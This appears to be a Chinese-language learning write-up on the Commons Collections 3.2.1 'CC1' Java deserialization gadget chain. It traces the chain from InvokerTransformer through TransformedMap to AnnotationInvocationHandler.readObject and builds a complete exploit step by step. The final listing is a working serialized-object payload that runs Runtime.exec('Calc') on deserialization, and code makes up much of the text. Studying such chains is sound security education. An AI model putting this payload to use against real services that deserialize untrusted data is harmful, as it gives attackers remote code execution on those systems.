环境搭建
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690983593396-39edb3f9-71cd-4f9f-b0c9-fd8bc9ab0f13.png)
解压8u65里边的src.zip,把openjdk里的sun文件夹复制过来
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690983650934-1741541d-8af6-454f-b901-7fc47f845184.png)
创建maven空项目,选择jdk_8u65
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690983734962-aafe0e49-fc52-4cdb-8599-c9bbb385de46.png)
在project structure里,把src源码的路径添加进去
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690983798674-6fa7b990-bef0-4c8e-93ff-73940667828e.png)
添加CC漏洞版本的maven依赖,
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
注意调试没有源码就download resources一下
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690983907237-f4d601e1-fb15-4557-b5c9-0002440242a0.png)
到此为止,环境配置完成,尝试导入CC包,看看是否配置成功
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
攻击链分析
思路是从命令执行的地方一直往前找,找调用了同名函数的函数,直到找到readObject()为止。
- InvokerTransformer.transform()可以命令执行
- TransformedMap.checkSetValue()调用了xxx.transform()
- AbstractInputCheckedMapDecorator.setValue()调用了TransformedMap.checkSetValue()
- AnnotationInvocationHandler.readObject()调用了Map.setValue(),上个类又是Map的实现类
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690984879209-831800cc-43fc-47b9-9089-5c84edddd45c.png)
EXP编写
这是笔者跟的第一条链子,跟完之后仍然懵懵懂懂,在此,在我的理解范围内,在尽量详实地记下我的分析过程。
首先在InvokerTransformer.transform()中,存在任意方法反射调用:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690986110169-9a10cb1c-a1f9-4f2b-820d-31a0f09cb949.png)
这几个参数通过构造函数都是可控的:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690986224751-0ba87247-b998-4d50-be57-17bde7ebde71.png)
尝试弹计算器,确定是可以执行命令的:
1 2 3 4 5 6 7
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime); }
}
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690986511397-fbd146c4-a1d5-4fea-902b-778d73cfe73e.png)
接下来,开始找什么地方调用了transform(Object object),在transform()上右键,点击find usages
一般来说找带Map的好一些(?),听组长说,这个比较适合到时候找到入口类
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690986747389-d3e604ed-106a-45e8-b3dd-4e895a8633b3.png)
发现TransformedMap#checkSetValue()调用了transform(),看看能不能利用:
valueTransformer是什么,可不可以控制?发现通过构造函数好像可以控制:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690986938305-fbf5791d-f198-4d19-bd19-ef5961930c4d.png)
它构造函数是protected类型,我们不能直接创建实例:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690987426805-b42dc857-1647-446f-92bb-9544ee6fc1ea.png)
于是再找其他函数,发现decorate()会返回一个构造好的实例:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690987526170-ba0c56df-9b2a-4e73-b5ed-669420555492.png)
尝试利用decorate()构造链条,EXP如下,注意,checkSetValue()是protected的,要反射调用该函数!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValue.setAccessible(true); checkSetValue.invoke(transformedMap,runtime); }
}
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690988080641-19d5840e-9f26-4fc7-8c98-3e3fd7a13935.png)
接下来发现找不到有用的、调用decorate()的函数,于是试着找调用了checkSetValue()的函数,同样方法:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690988263907-fa622c76-27aa-44cb-bc9d-d86898b07f7c.png)
AbstractInputCheckedMapDecorator是TransformedMap的父类,它这setValue()里会调用checkSetValue()
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690988321740-8ebef46e-ca8c-427f-9c0a-8556c4021132.png)
父类AbstractInputCheckedMapDecorator有这个setValue()方法,子类TranformedMap自然也继承了,
于是想办法怎么在transformMap这个Map里调setValue(),跟一下setValue()函数:
一路跟上去发现是Map数据结构的一个给entry赋值的函数,那么我们尝试给构造的transformedMap里的value赋值,赋值runtime,进一步构造利用链,看看能不能弹计算器:
1 2 3 4 5 6 7 8 9 10 11
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); } }
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690990176699-b0a1d891-8cb8-4935-9c91-f1089239028d.png)
这里的for循环注意理解,涉及JavaSE的基础知识:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1690990203632-f8bc6433-b2f3-498b-a718-849239391f88.png)
AnnotationInvocationHandler#readObject
最后是找到这个入口类,它满足下面几个条件:
- 可序列化
- 重写readObject()
- 调用了setValue()
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691029156620-7aad143f-fd68-4b7e-84d8-d7f185ceab2e.png)
这个类它不是public的,是default的,需要用反射获取对象。
链条到这就完整了,下面可以试着编写Exp
理想情况EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize(); }
|
**然而并没有利用成功,因为还有几个未解决的问题。
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691034555543-1cc0916a-ff5f-4bf1-8b62-5f681a815c2a.png)
解决问题
Runtime对象不能序列化
Runtime类没有实现Serializable接口,故不能序列化:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691034843483-fd57db84-640d-486e-afb4-1e9f07cb7e68.png)
但是Runtime.class对象是可以序列化的:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691036130048-9ce10b32-59e6-4aee-8bc4-a730b2e1d8ba.png)
我们可以利用反射,不传runtime进去,选择传Runtime.class进去,通过反射照样能得到runtime
1 2 3 4
| Class runtimeClass = Runtime.class; Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
|
这里如果我们直接用这个, 要调用3次transform()函数,意味着链子要多执行三轮,有更简单的方法:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691036556011-4406ca81-18fb-416f-998b-6d8a0b2340b3.png)
通过这个现成的ChainedTransformer类,只需要触发一次chainedTransformer.transform()就好了
注意:
ChainedTransformer[0].transform()的返回值,会作为ChainedTransformer[1].transform()的参数。
下面进一步编写Exp:
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
|
小疑问
这里我一直不明白,这里就算换Runtime.class,在链条里应该也新建了Runtime对象,不会影响序列化吗?
我的理解是只要序列化的时候没有出现Runtime的对象就好,实际Runtime对象并没有参与序列化与反序列化。
生成runtime对象已经是反序列化的时候的事情了。
绕过两个if语句进到setValue()
这里简单看下这个类的代码,看看怎么绕
构造函数传一个注解的类型叫type、一个Map叫memberValues,然后赋值到属性
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691037206535-5b2baafc-24a5-4a8f-abb5-f9b7a8151c52.png)
下面是需要绕过的主要逻辑:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691037095881-f0eb3104-016c-4630-a914-656372dcf0ad.png)
- memberTypes:@Target注解的<每个成员名,成员类型>组成的键值对集合
- memberType:根据name查找memberTypes,返回对应name的成员所属的类型,没有则返回null
- memberValues:传进来的hashmap{“1111”->”2222”}
- memberValue:传进来的hashmap的entry对象 “1111”->”2222”
- name:hashmap的key名,”1111”
- value:hashmap的键值对对象的值,”2222”
这段代码的逻辑:遍历传进来的hashmap,第一个if检查每一个key是不是注解里定义的成员的名字,是就通过;第二个if判断如果value不是memberType/ExceptionProxy的实例,就通过。
于是我们修改传进来的hashmap,把key改成某个注解里存在的成员的名字(例如”value”),value随便就好(例如”Jasper”)
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691038010336-d3b5b71f-eb40-4df4-a9f5-8d46c358ee92.png)
进一步完善Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Jasper"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize();
|
setValue()不能传runtime对象
还是上面的逻辑,我们发现setValue()传入的对象我们是不可控的:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691038110226-d5176e7f-671f-43a5-be9c-3b592f2bc0a4.png)
这里用到的是一个比较巧妙的ConstantTransformer类,ConstantTransformer.transform()返回一个恒定的值
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691038204887-075159c2-741a-4f0f-83f1-87a24e5e57b4.png)
而这个iConstant是能在构造函数里控制的:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691038259251-bcbfc3c9-81bf-42cd-bf46-61fa286aaa30.png)
那么问题就解决了,这里我看师傅们的文章都没仔细说,我思考了挺久才明白怎么回事:
我们在chainedTransformer数组的开头加上ConstantTransformer的对象,并且传入Runtime.class
这样一来不管ConstantTransformer.transform(xxx)传什么对象,都会返回一个Runtime.class对象
联系之前使用的辅助类ChainedTransformer.transform()的特性:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1691040610334-12e9a012-bde9-493a-bc38-fd06a205a870.png)
进一步完善Exp,重点关注transformers[]的第一个元素ConstantTransformer:
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
|
经过这样设置,我们在序列化、反序列化之后,会依次进行以下调用:
- AnnotationInvocationHandler.readObject()
- transformedMap.entry.setValue(new balabala)
- transformedMap.checkSetValue(new balabala)
- chainedTransformer.transform(new balabala)
- runtimeClass = ConstantTransformer.transform(new balabala) //控制参数
- getRuntime = new InvokerTransformer(…).transform(runtimeClass)
- rumtime = new InvokerTransformer(…).transform(getRuntime)
- new InvokerTransformer(…).transform(runtime)
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public class TestCC1 { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Jasper"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize(); }
public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static Object unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); return o; } }
|
参考链接
https://y0n3er.github.io/undefined/45527.html
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
小结
通过这次跟链子,确实对Java反射、Java反序列化以及一些Idea调试方法有了更深的认识,继续加油吧!